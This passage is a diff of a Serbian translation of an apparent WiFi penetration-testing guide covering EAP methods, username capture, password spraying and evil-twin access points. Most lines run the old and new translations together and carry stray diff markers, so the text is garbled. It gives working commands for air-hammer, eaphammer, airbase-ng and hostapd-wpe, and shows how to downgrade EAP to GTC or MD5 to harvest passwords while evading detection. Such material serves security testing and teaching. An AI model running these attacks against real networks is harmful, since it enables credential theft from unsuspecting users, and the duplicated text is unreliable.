* Ova metoda podržava hardverske tokene i jednokratne lozinke unutar EAP-PEAP. Za razliku od MSCHAPv2, ne koristi izazov vršnjaka i šalje lozinke u plaintext formatu pristupnoj tački, što predstavlja rizik od napada na smanjenje nivoa sigurnosti. * Ova metoda podržava hardverske tokene i jednokratne lozinke unutar EAP-PEAP. Za razliku od MSCHAPv2, ne koristi izazov između partnera i šalje lozinke u običnom tekstu pristupnoj tački, što predstavlja rizik od napada na smanjenje bezbednosti.
2. **EAP-MD5 (Message Digest 5)**: 2. **EAP-MD5 (Message Digest 5)**:
* Uključuje slanje MD5 heša lozinke sa klijenta. **Nije preporučeno** zbog ranjivosti na rečničke napade, nedostatka autentifikacije servera i nemogućnosti generisanja sesijski specifičnih WEP ključeva. * Uključuje slanje MD5 heša lozinke sa klijenta. **Nije preporučeno** zbog ranjivosti na napade rečnikom, nedostatka autentifikacije servera i nemogućnosti generisanja WEP ključeva specifičnih za sesiju.
3. **EAP-TLS (Transport Layer Security)**: 3. **EAP-TLS (Transport Layer Security)**:
* Koristi i klijentske i serverske sertifikate za autentifikaciju i može dinamički generisati korisničke i sesijske WEP ključeve za obezbeđivanje komunikacija. * Koristi i klijentske i serverske sertifikate za autentifikaciju i može dinamički generisati WEP ključeve zasnovane na korisnicima i sesijama za zaštitu komunikacije.
4. **EAP-TTLS (Tunneled Transport Layer Security)**: 4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* Pruža međusobnu autentifikaciju putem enkriptovanog tunela, zajedno sa metodom za izvođenje dinamičkih, po-korisniku, po-sesijskih WEP ključeva. Zahteva samo serverske sertifikate, dok klijenti koriste akreditive. * Pruža uzajamnu autentifikaciju kroz enkriptovani tunel, zajedno sa metodom za dobijanje dinamičkih WEP ključeva po korisniku i po sesiji. Zahteva samo serverske sertifikate, dok klijenti koriste akreditive.
5. **PEAP (Protected Extensible Authentication Protocol)**: 5. **PEAP (Protected Extensible Authentication Protocol)**:
* Funkcioniše slično kao EAP stvaranjem TLS tunela za zaštićenu komunikaciju. Omogućava korišćenje slabijih autentifikacionih protokola iznad EAP zbog zaštite koju pruža tunel. * Funkcioniše slično kao EAP stvaranjem TLS tunela za zaštićenu komunikaciju. Omogućava korišćenje slabijih autentifikacionih protokola iznad EAP-a zbog zaštite koju tunel pruža.
* **PEAP-MSCHAPv2**: Često nazvan PEAP, kombinuje ranjivi MSCHAPv2 mehanizam izazova/odgovora sa zaštitnim TLS tunelom. * **PEAP-MSCHAPv2**: Često se naziva PEAP, kombinuje ranjivi MSCHAPv2 izazov/odgovor mehanizam sa zaštitnim TLS tunelom.
* **PEAP-EAP-TLS (ili PEAP-TLS)**: Slično kao EAP-TLS, ali inicira TLS tunel pre razmene sertifikata, nudeći dodatni sloj sigurnosti. * **PEAP-EAP-TLS (ili PEAP-TLS)**: Slično EAP-TLS, ali započinje TLS tunel pre razmene sertifikata, nudeći dodatni sloj sigurnosti.
Više informacija o ovim autentifikacionim metodama možete pronaći [ovde](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) i [ovde](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). Možete pronaći više informacija o ovim metodama autentifikacije [ovde](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) i [ovde](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Snimanje Korisničkog Imena ### Username Capture
Čitajući [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) izgleda da ako koristite **EAP**, **"Identitet"** **poruke** moraju biti **podržane**, i **korisničko ime** će biti poslato **čisto** u **"Odgovoru na Identitet"** porukama. Čitajući [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), izgleda da ako koristite **EAP**, **"Identitet"** **poruke** moraju biti **podržane**, a **korisničko ime** će biti poslato u **običnom** tekstu u **"Response Identity"** porukama.
Čak i koristeći jedan od najsigurnijih autentifikacionih metoda: **PEAP-EAP-TLS**, moguće je **snimiti korisničko ime poslato u EAP protokolu**. Da biste to uradili, **snimite autentifikacionu komunikaciju** (pokrenite `airodump-ng` unutar kanala i `wireshark` na istom interfejsu) i filtrirajte pakete po `eapol`.\ Čak i korišćenjem jedne od najsigurnijih metoda autentifikacije: **PEAP-EAP-TLS**, moguće je **uhvatiti korisničko ime poslato u EAP protokolu**. Da biste to uradili, **uhvatite komunikaciju autentifikacije** (pokrenite `airodump-ng` unutar kanala i `wireshark` na istom interfejsu) i filtrirajte pakete po `eapol`.\
Unutar paketa "**Odgovor, Identitet**", pojaviće se **korisničko ime** klijenta. Unutar paketa "**Response, Identity**", pojaviće se **korisničko ime** klijenta.
![](<../../.gitbook/assets/image (850).png>) ![](<../../.gitbook/assets/image (850).png>)
### Anonimni Identiteti ### Anonymous Identities
Skrivanje identiteta podržano je i od strane EAP-PEAP i EAP-TTLS. U kontekstu WiFi mreže, zahtev za EAP-Identitetom obično pokreće pristupna tačka (AP) tokom procesa asocijacije. Kako bi se osigurala zaštita anonimnosti korisnika, odgovor od EAP klijenta na uređaju korisnika sadrži samo osnovne informacije potrebne za početni RADIUS server da obradi zahtev. Ovaj koncept je ilustrovan kroz sledeće scenarije: Skrivenje identiteta podržavaju i EAP-PEAP i EAP-TTLS. U kontekstu WiFi mreže, EAP-Identitet zahtev obično pokreće pristupna tačka (AP) tokom procesa asocijacije. Da bi se osigurala zaštita anonimnosti korisnika, odgovor EAP klijenta na korisničkom uređaju sadrži samo osnovne informacije potrebne za inicijalni RADIUS server da obradi zahtev. Ova koncepcija je ilustrovana kroz sledeće scenarije:
* EAP-Identitet = anonimno * EAP-Identitet = anonimno
* U ovom scenariju, svi korisnici koriste pseudonim "anonimno" kao svoj identifikator korisnika. Početni RADIUS server funkcioniše kao EAP-PEAP ili EAP-TTLS server, odgovoran za upravljanje serverskom stranom PEAP ili TTLS protokola. Unutrašnji (zaštićeni) autentifikacioni metod se zatim ili obrađuje lokalno ili se delegira na udaljeni (matični) RADIUS server. * U ovom scenariju, svi korisnici koriste pseudonim "anonimno" kao svoj identifikator korisnika. Inicijalni RADIUS server funkcioniše kao EAP-PEAP ili EAP-TTLS server, odgovoran za upravljanje serverskom stranom PEAP ili TTLS protokola. Unutrašnja (zaštićena) metoda autentifikacije se zatim ili obrađuje lokalno ili delegira na udaljeni (domaći) RADIUS server.
* EAP-Identitet = anonimno@realm\_x * EAP-Identitet = anonimno@realm\_x
* U ovoj situaciji, korisnici iz različitih oblasti skrivaju svoje identitete dok pokazuju svoje odgovarajuće oblasti. Ovo omogućava početnom RADIUS serveru da prosledi EAP-PEAP ili EAP-TTLS zahteve RADIUS serverima u njihovim matičnim oblastima, koji deluju kao PEAP ili TTLS server. Početni RADIUS server funkcioniše isključivo kao RADIUS relejni čvor. * U ovoj situaciji, korisnici iz različitih domena skrivaju svoje identitete dok ukazuju na svoje odgovarajuće domene. Ovo omogućava inicijalnom RADIUS serveru da proksi EAP-PEAP ili EAP-TTLS zahteve ka RADIUS serverima u njihovim domaćim domenima, koji deluju kao PEAP ili TTLS server. Inicijalni RADIUS server funkcioniše isključivo kao RADIUS relejna tačka.
* Alternativno, početni RADIUS server može funkcionisati kao EAP-PEAP ili EAP-TTLS server i ili obrađivati zaštićeni autentifikacioni metod ili ga proslediti drugom serveru. Ova opcija olakšava konfiguraciju različitih politika za različite oblasti. * Alternativno, inicijalni RADIUS server može funkcionisati kao EAP-PEAP ili EAP-TTLS server i ili obraditi zaštićenu metodu autentifikacije ili je proslediti drugom serveru. Ova opcija olakšava konfiguraciju različitih politika za različite domene.
U EAP-PEAP, kada se TLS tunel uspostavi između PEAP servera i PEAP klijenta, PEAP server pokreće zahtev za EAP-Identitetom i prenosi ga kroz TLS tunel. Klijent odgovara na ovaj drugi zahtev za EAP-Identitetom slanjem EAP-Identitet odgovora koji sadrži pravi identitet korisnika kroz enkriptovani tunel. Ovaj pristup efikasno sprečava otkrivanje stvarnog identiteta korisnika bilo kome ko prisluškuje 802.11 saobraćaj. U EAP-PEAP, kada se TLS tunel uspostavi između PEAP servera i PEAP klijenta, PEAP server pokreće EAP-Identitet zahtev i prenosi ga kroz TLS tunel. Klijent odgovara na ovaj drugi EAP-Identitet zahtev slanjem EAP-Identitet odgovora koji sadrži pravi identitet korisnika kroz enkriptovani tunel. Ovaj pristup efikasno sprečava otkrivanje stvarnog identiteta korisnika bilo kome ko prisluškuje 802.11 saobraćaj.
EAP-TTLS prati nešto drugačiju proceduru. Sa EAP-TTLS, klijent se obično autentifikuje koristeći PAP ili CHAP, obezbeđen TLS tunelom. U ovom slučaju, klijent uključuje atribut Korisničko Ime i ili Lozinku ili CHAP-Lozinku u početnoj TLS poruci poslatoj nakon uspostavljanja tunela. EAP-TTLS prati malo drugačiju proceduru. Sa EAP-TTLS, klijent obično autentifikuje koristeći PAP ili CHAP, zaštićen TLS tunelom. U ovom slučaju, klijent uključuje atribut User-Name i ili atribut Password ili CHAP-Password u inicijalnoj TLS poruci poslatog nakon uspostavljanja tunela.
Bez obzira na izabrani protokol, PEAP/TTLS server dobija saznanje o pravom identitetu korisnika nakon što je TLS tunel uspostavljen. Pravi identitet može biti predstavljen kao korisnik@oblast ili jednostavno korisnik. Ako je PEAP/TTLS server takođe odgovoran za autentifikaciju korisnika, sada poseduje identitet korisnika i nastavlja sa autentifikacionim metodom zaštićenim TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev RADIUS serveru korisnikove matične oblasti. Ovaj novi RADIUS zahtev ne sadrži PEAP ili TTLS sloj protokola. U slučajevima kada je zaštićeni autentifikacioni metod EAP, unutrašnje EAP poruke se prenose ka RADIUS serveru matične oblasti bez EAP-PEAP ili EAP-TTLS omotača. Atribut Korisničko Ime izlazne RADIUS poruke sadrži pravi identitet korisnika, zamenjujući anonimni Korisničko Ime iz dolaznog RADIUS zahteva. Kada je zaštićeni autentifikacioni metod PAP ili CHAP (podržan samo od strane TTLS), Korisničko Ime i ostali atributi autentifikacije izdvojeni iz TLS payload-a se zamenjuju u izlaznoj RADIUS poruci, zamenjujući anonimni Korisničko Ime i TTLS EAP-Poruka atribute pronađene u dolaznom RADIUS zahtevu. Bez obzira na izabrani protokol, PEAP/TTLS server saznaje pravi identitet korisnika nakon što je TLS tunel uspostavljen. Pravi identitet može biti predstavljen kao user@realm ili jednostavno user. Ako je PEAP/TTLS server takođe odgovoran za autentifikaciju korisnika, sada poseduje identitet korisnika i nastavlja sa metodom autentifikacije zaštićenom TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev ka domaćem RADIUS serveru korisnika. Ovaj novi RADIUS zahtev izostavlja PEAP ili TTLS protokol. U slučajevima kada je zaštićena metoda autentifikacije EAP, unutrašnje EAP poruke se prenose ka domaćem RADIUS serveru bez PEAP-PEAP ili EAP-TTLS omotača. Atribut User-Name u odlaznoj RADIUS poruci sadrži pravi identitet korisnika, zamenjujući anonimni User-Name iz dolaznog RADIUS zahteva. Kada je zaštićena metoda autentifikacije PAP ili CHAP (podržana samo od strane TTLS), atribut User-Name i drugi atributi autentifikacije izvučeni iz TLS tereta se zamenjuju u odlaznoj RADIUS poruci, zamenjujući anonimni User-Name i TTLS EAP-Message atribute pronađene u dolaznom RADIUS zahtevu.
Za više informacija pogledajte [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm) Za više informacija pogledajte [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
### EAP-Bruteforce (password spray) ### EAP-Bruteforce (password spray)
Ako se očekuje da klijent koristi **korisničko ime i lozinku** (primetite da **EAP-TLS neće biti validan** u ovom slučaju), tada možete pokušati da dobijete **listu** **korisničkih imena** (vidi sledeći deo) i **lozinki** i pokušati **bruteforce** pristup koristeći [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** Ako se očekuje da klijent koristi **korisničko ime i lozinku** (primetite da **EAP-TLS neće biti validan** u ovom slučaju), onda možete pokušati da dobijete **listu** **korisničkih imena** (vidite sledeći deo) i **lozinki** i pokušate da **bruteforce** pristup koristeći [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash ```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
``` ```
Možete izvršiti ovaj napad koristeći `eaphammer`: Možete takođe izvršiti ovaj napad koristeći `eaphammer`:
```bash ```bash
./eaphammer --eap-spray \ ./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -445,34 +446,34 @@ Možete izvršiti ovaj napad koristeći `eaphammer`:
``` ```
## Teorija napada na klijente ## Teorija napada na klijente
### Selekcija mreže i roaming ### Izbor mreže i roaming
* Protokol 802.11 definiše kako stanica pristupa Proširenom servisnom setu (ESS), ali ne specificira kriterijume za izbor ESS-a ili pristupne tačke (AP) unutar njega. * 802.11 protokol definiše kako stacija pridružuje proširenom servisnom skupu (ESS), ali ne specificira kriterijume za izbor ESS-a ili pristupne tačke (AP) unutar njega.
* Stanice mogu da se kreću između AP-ova koji dele isti ESSID, održavajući povezanost širom zgrade ili područja. * Stanice mogu da se kreću između AP-ova koji dele isti ESSID, održavajući povezanost širom zgrade ili područja.
* Protokol zahteva autentifikaciju stanice na ESS, ali ne nalaže autentifikaciju AP-a na stanicu. * Protokol zahteva autentifikaciju stanice na ESS, ali ne nalaže autentifikaciju AP-a prema stanici.
### Liste preferiranih mreža (PNL) ### Liste preferiranih mreža (PNL)
* Stanice čuvaju ESSID svake bežične mreže sa kojom se povežu u svojoj Listi preferiranih mreža (PNL), zajedno sa detaljima konfiguracije specifičnim za mrežu. * Stanice čuvaju ESSID svake bežične mreže kojoj se povezuju u svojoj listi preferiranih mreža (PNL), zajedno sa specifičnim konfiguracionim detaljima mreže.
* PNL se koristi za automatsko povezivanje sa poznatim mrežama, poboljšavajući korisničko iskustvo optimizacijom procesa povezivanja. * PNL se koristi za automatsko povezivanje na poznate mreže, poboljšavajući korisničko iskustvo pojednostavljivanjem procesa povezivanja.
### Pasivno skeniranje ### Pasivno skeniranje
* AP-ovi periodično emituju okvirima oznake, najavljujući svoje prisustvo i karakteristike, uključujući ESSID AP-a osim ako je emitovanje onemogućeno. * AP-ovi periodično emituju beacon okvire, najavljujući svoje prisustvo i karakteristike, uključujući ESSID AP-a osim ako emitovanje nije onemogućeno.
* Tokom pasivnog skeniranja, stanice slušaju okvire oznake. Ako ESSID oznake odgovara unosu u PNL stanice, stanica može automatski da se poveže sa tim AP-om. * Tokom pasivnog skeniranja, stanice slušaju beacon okvire. Ako se ESSID beacona poklapa sa stavkom u PNL-u stanice, stanica se može automatski povezati na taj AP.
* Poznavanje PNL uređaja omogućava potencijalno iskorišćavanje imitiranjem ESSID-a poznate mreže, prevareći uređaj da se poveže sa lažnim AP-om. * Poznavanje PNL-a uređaja omogućava potencijalnu eksploataciju oponašanjem ESSID-a poznate mreže, obmanjujući uređaj da se poveže na lažni AP.
### Aktivno sondiranje ### Aktivno ispitivanje
* Aktivno sondiranje uključuje slanje zahteva za sondiranje od strane stanica radi otkrivanja obližnjih AP-ova i njihovih karakteristika. * Aktivno ispitivanje uključuje stanice koje šalju probe zahteve kako bi otkrile obližnje AP-ove i njihove karakteristike.
* Usmereni zahtevi za sondiranje ciljaju određeni ESSID, pomažući u otkrivanju da li je određena mreža unutar dometa, čak i ako je skrivena mreža. * Usmereni probe zahtevi ciljaju specifičan ESSID, pomažući u otkrivanju da li je određena mreža u dometu, čak i ako je skrivena mreža.
* Emitovanje zahteva za sondiranje ima polje SSID nula vrednosti i šalje se svim obližnjim AP-ovima, omogućavajući stanici da proveri bilo koju preferiranu mrežu bez otkrivanja sadržaja svoje PNL. * Emitovani probe zahtevi imaju prazan SSID polje i šalju se svim obližnjim AP-ovima, omogućavajući stanici da proveri bilo koju preferiranu mrežu bez otkrivanja sadržaja svog PNL-a.
## Jednostavni AP sa preusmeravanjem na Internet ## Jednostavan AP sa preusmeravanjem na Internet
Pre nego što se objasni kako izvesti složenije napade, biće objašnjeno **kako** samo **kreirati** jedan **AP** i **preusmeriti** njegov **saobraćaj** na interfejs povezan **sa** **Internetom**. Pre nego što se objasni kako izvesti složenije napade, biće objašnjeno **kako** jednostavno **napraviti** **AP** i **preusmeriti** njegov **saobraćaj** na interfejs povezan **na** **Internet**.
Korišćenjem `ifconfig -a` proverite da li su wlan interfejs za kreiranje AP-a i interfejs povezan sa Internetom prisutni. Koristeći `ifconfig -a`, proverite da li su prisutni wlan interfejs za kreiranje AP-a i interfejs povezan na Internet.
### DHCP & DNS ### DHCP & DNS
```bash ```bash
@ -490,12 +491,12 @@ log-queries
log-dhcp log-dhcp
listen-address=127.0.0.1 listen-address=127.0.0.1
``` ```
Zatim **postavite IP adrese** i **rute**: Zatim **postavite IP adrese** i **puteve**:
```bash ```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
``` ```
I onda **pokrenite** dnsmasq: I zatim **pokrenite** dnsmasq:
```bash ```bash
dnsmasq -C dnsmasq.conf -d dnsmasq -C dnsmasq.conf -d
``` ```
@ -521,7 +522,7 @@ wpa_group_rekey=86400
ieee80211n=1 ieee80211n=1
wme_enabled=1 wme_enabled=1
``` ```
**Zaustavite dosadne procese**, postavite **monitor mod**, i **pokrenite hostapd**: **Prekinite dosadne procese**, postavite **monitor mod**, i **pokrenite hostapd**:
```bash ```bash
airmon-ng check kill airmon-ng check kill
iwconfig wlan0 mode monitor iwconfig wlan0 mode monitor
@ -534,48 +535,50 @@ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/ip_forward
``` ```
## Zli blizanac ## Evil Twin
Napad zlog blizanca iskorišćava način na koji WiFi klijenti prepoznaju mreže, uglavnom se oslanjajući na ime mreže (ESSID) bez potrebe da se bazna stanica (pristupna tačka) autentifikuje klijentu. Ključne tačke uključuju: Napad zlog blizanca koristi način na koji WiFi klijenti prepoznaju mreže, prvenstveno oslanjajući se na ime mreže (ESSID) bez potrebe da bazna stanica (pristupna tačka) autentifikuje sebe klijentu. Ključne tačke uključuju:
- **Teškoće u diferencijaciji**: Uređaji se bore da razlikuju legitimne i lažne pristupne tačke kada dele isti ESSID i tip enkripcije. Mreže u stvarnom svetu često koriste više pristupnih tačaka sa istim ESSID-om kako bi proširile pokrivenost bez prekida. * **Teškoće u Diferencijaciji**: Uređaji se bore da razlikuju legitimne i lažne pristupne tačke kada dele isto ESSID i tip enkripcije. Mreže u stvarnom svetu često koriste više pristupnih tačaka sa istim ESSID-om kako bi neprimetno proširile pokrivenost.
- **Roaming klijenata i manipulacija konekcijom**: Protokol 802.11 omogućava uređajima da se kreću između pristupnih tačaka unutar istog ESSID-a. Napadači to mogu iskoristiti tako što će privući uređaj da se odjavi sa trenutne bazne stanice i poveže sa lažnom. To se može postići nudeći jači signal ili ometanjem konekcije sa legitimnom pristupnom tačkom putem metoda poput paketa deautentifikacije ili ometanja. * **Roaming Klijenata i Manipulacija Povezivanjem**: 802.11 protokol omogućava uređajima da se kreću između pristupnih tačaka unutar iste ESS. Napadači mogu iskoristiti ovo tako što će namamiti uređaj da se disconectuje od svoje trenutne bazne stanice i poveže se sa lažnom. Ovo se može postići nudeći jači signal ili ometajući vezu sa legitimnom pristupnom tačkom putem metoda kao što su deautentifikacijski paketi ili ometanje.
- **Izazovi u izvršenju**: Uspešno izvođenje napada zlog blizanca u okruženjima sa više dobro postavljenih pristupnih tačaka može biti izazovno. Deautentifikacija jedne legitimne pristupne tačke često rezultira uređajem koji se povezuje sa drugom legitimnom pristupnom tačkom, osim ako napadač ne može da deautentifikuje sve obližnje pristupne tačke ili strategijski postavi lažnu pristupnu tačku. * **Izazovi u Izvršenju**: Uspešno izvršavanje napada zlog blizanca u okruženjima sa više, dobro postavljenih pristupnih tačaka može biti izazovno. Deautentifikacija jedne legitimne pristupne tačke često rezultira povezivanjem uređaja sa drugom legitimnom pristupnom tačkom, osim ako napadač ne može deautentifikovati sve obližnje pristupne tačke ili strateški postaviti lažnu pristupnu tačku.
Možete kreirati vrlo osnovni Open Evil Twin (bez mogućnosti usmeravanja saobraćaja na Internet) tako što ćete:
```bash ```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
``` ```
Takođe možete kreirati Zli blizanac koristeći **eaphammer** (primetite da bi se zli blizanci kreirali sa eaphammerom, interfejs **NE TREBA DA BUDE** u **monitor** režimu): Možete takođe kreirati Evil Twin koristeći **eaphammer** (imajte na umu da interfejs **NE TREBA** da bude u **monitor** režimu):
```bash ```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal ./eaphammer -i wlan0 --essid exampleCorp --captive-portal
``` ```
Ili koristeći Airgeddon: `Opcije: 5,6,7,8,9 (unutar menija napada Evil Twin).` Ili korišćenjem Airgeddon-a: `Opcije: 5,6,7,8,9 (unutar menija za Evil Twin napad).`
![](<../../.gitbook/assets/image (1088).png>) ![](<../../.gitbook/assets/image (1088).png>)
Molimo, primetite da ako je ESSID u PNL-u sačuvan kao zaštićen WPA, uređaj se neće automatski povezati sa otvorenim zlim blizancem. Možete pokušati da DoS-ujete pravi AP i nadati se da će korisnik ručno povezati sa vašim otvorenim zlim blizancem, ili možete DoS-ovati pravi AP i koristiti WPA Evil Twin da biste uhvatili handshake (koristeći ovu metodu nećete moći da pustite žrtvu da se poveže sa vama jer ne znate PSK, ali možete uhvatiti handshake i pokušati da ga probijete). Molimo vas da primetite da, po defaultu, ako je ESSID u PNL sačuvan kao WPA zaštićen, uređaj se neće automatski povezati na Open evil Twin. Možete pokušati da DoS-ujete pravi AP i nadati se da će se korisnik ručno povezati na vaš Open evil Twin, ili možete DoS-ovati pravi AP i koristiti WPA Evil Twin da uhvatite handshake (koristeći ovu metodu nećete moći da omogućite žrtvi da se poveže sa vama jer ne znate PSK, ali možete uhvatiti handshake i pokušati da ga crack-ujete).
_Neki OS i AV će upozoriti korisnika da je povezivanje sa otvorenom mrežom opasno..._ _Neki OS i AV će upozoriti korisnika da je povezivanje na Open mrežu opasno..._
### WPA/WPA2 Evil Twin ### WPA/WPA2 Evil Twin
Možete kreirati **Zlog blizanca koristeći WPA/2** i ako su uređaji konfigurisani da se povežu sa tim SSID-om sa WPA/2, pokušaće da se povežu. U svakom slučaju, **da biste završili 4-way handshake** takođe morate **znati** **šifru** koju će klijent koristiti. Ako je **ne znate**, **povezivanje neće biti završeno**. Možete kreirati **Evil Twin koristeći WPA/2** i ako su uređaji konfigurisani da se povežu na taj SSID sa WPA/2, pokušaće da se povežu. U svakom slučaju, **da biste završili 4-way-handshake** takođe morate **znati** **lozinku** koju će klijent koristiti. Ako je **ne znate**, **povezivanje neće biti završeno**.
```bash ```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
``` ```
### Poslovni zlonamerni blizanac ### Enterprise Evil Twin
Da biste razumeli ove napade, preporučujem da prvo pročitate kratak [objašnjenje WPA Enterprise](./#wpa-enterprise-mgt). Da biste razumeli ovaj napad, preporučujem da prvo pročitate kratak [WPA Enterprise objašnjenje](./#wpa-enterprise-mgt).
**Korišćenje hostapd-wpe** **Korišćenje hostapd-wpe**
`hostapd-wpe` zahteva **konfiguracioni** fajl da bi radio. Da biste **automatizovali** generisanje ovih konfiguracija, možete koristiti [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (preuzmite python fajl unutar _/etc/hostapd-wpe/_). `hostapd-wpe` zahteva **konfiguraciju** datoteku da bi radio. Da biste **automatizovali** generisanje ovih konfiguracija, možete koristiti [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (preuzmite python datoteku unutar _/etc/hostapd-wpe/_).
```bash ```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s hostapd-wpe ./victim/victim.conf -s
``` ```
U konfiguracionom fajlu možete izabrati mnogo različitih stvari kao što su ssid, kanal, korisničke datoteke, cret/key, dh parametri, wpa verzija i autentifikacija... U konfiguracionom fajlu možete odabrati mnogo različitih stvari kao što su ssid, kanal, korisnički fajlovi, cret/ključ, dh parametri, wpa verzija i autentifikacija...
[**Korišćenje hostapd-wpe sa EAP-TLS da omogući bilo kom sertifikatu da se prijavi.**](evil-twin-eap-tls.md) [**Korišćenje hostapd-wpe sa EAP-TLS za omogućavanje prijavljivanja sa bilo kojim sertifikatom.**](evil-twin-eap-tls.md)
**Korišćenje EAPHammer** **Korišćenje EAPHammer**
```bash ```bash
@ -585,60 +588,60 @@ U konfiguracionom fajlu možete izabrati mnogo različitih stvari kao što su ss
# Launch Attack # Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
``` ```
Podrazumevano, EAPHammer koristi ove metode autentikacije (primetite da je GTC prva koja se koristi za dobijanje šifri u obliku običnog teksta, a zatim se koriste pouzdanije autentikacione metode): Podrazumevano, EAPHammer predlaže ove metode autentifikacije (primetite GTC kao prvu koju treba pokušati da se dobiju lozinke u običnom tekstu, a zatim korišćenje robusnijih metoda autentifikacije):
``` ```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
``` ```
Ovo je podrazumevana metodologija za izbegavanje dugih vremena povezivanja. Međutim, takođe možete specificirati serveru metode autentikacije od najslabije do najjače: Ovo je podrazumevana metodologija za izbegavanje dugih vremena povezivanja. Međutim, takođe možete odrediti serveru metode autentifikacije od najslabije do najjače:
``` ```
--negotiate weakest --negotiate weakest
``` ```
Ili možete koristiti: Ili možete koristiti i:
* `--negotiate gtc-downgrade` za korišćenje visoko efikasne implementacije GTC downgrade-a (lozinke u plaintext formatu) * `--negotiate gtc-downgrade` za korišćenje veoma efikasne GTC downgrade implementacije (plaintext lozinke)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` da ručno specificirate ponuđene metode (ponuđene iste autentikacione metode u istom redosledu kao organizacija će učiniti napad mnogo teže otkriti). * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` da ručno odredite ponuđene metode (ponudom istih metoda autentifikacije u istom redosledu, napad će biti mnogo teže otkriti).
* [Pronađite više informacija u wiki-u](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [Pronađite više informacija u wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Korišćenje Airgeddon-a** **Korišćenje Airgeddon-a**
`Airgeddon` može koristiti prethodno generisane sertifikate da ponudi EAP autentikaciju za WPA/WPA2-Enterprise mreže. Lažna mreža će smanjiti protokol veze na EAP-MD5 kako bi mogla **uhvatiti korisnika i MD5 lozinke**. Kasnije, napadač može pokušati da probije lozinku.\ `Airgeddon` može koristiti prethodno generisane sertifikate za ponudu EAP autentifikacije za WPA/WPA2-Enterprise mreže. Lažna mreža će smanjiti protokol veze na EAP-MD5 kako bi mogla da **uhvati korisnika i MD5 lozinke**. Kasnije, napadač može pokušati da provali lozinku.\
`Airggedon` vam nudi mogućnost **kontinuiranog napada Evil Twin (buka)** ili **samo kreiranje Evil Attack-a dok se neko ne poveže (gladak).** `Airgeddon` vam nudi mogućnost **kontinuiranog Evil Twin napada (bučan)** ili **samo kreiranje Evil napada dok se neko ne poveže (glatko).**
![](<../../.gitbook/assets/image (936).png>) ![](<../../.gitbook/assets/image (936).png>)
### Otklanjanje grešaka u PEAP i EAP-TTLS TLS tunelima u napadima Evil Twins ### Debagovanje PEAP i EAP-TTLS TLS tunela u Evil Twin napadima
_Ova metoda je testirana u PEAP vezi ali pošto dešifrujem proizvoljan TLS tunel, ovo bi takođe trebalo da funkcioniše sa EAP-TTLS_ _Ova metoda je testirana u PEAP vezi, ali pošto dekriptujem proizvoljan TLS tunel, ovo bi takođe trebalo da funkcioniše sa EAP-TTLS_
Unutar **konfiguracije** _hostapd-wpe_ **iskomentarišite** liniju koja sadrži _**dh\_file**_ (od `dh_file=/etc/hostapd-wpe/certs/dh` do `#dh_file=/etc/hostapd-wpe/certs/dh`)\ Unutar **konfiguracije** _hostapd-wpe_ **komentarišite** liniju koja sadrži _**dh\_file**_ (od `dh_file=/etc/hostapd-wpe/certs/dh` do `#dh_file=/etc/hostapd-wpe/certs/dh`)\
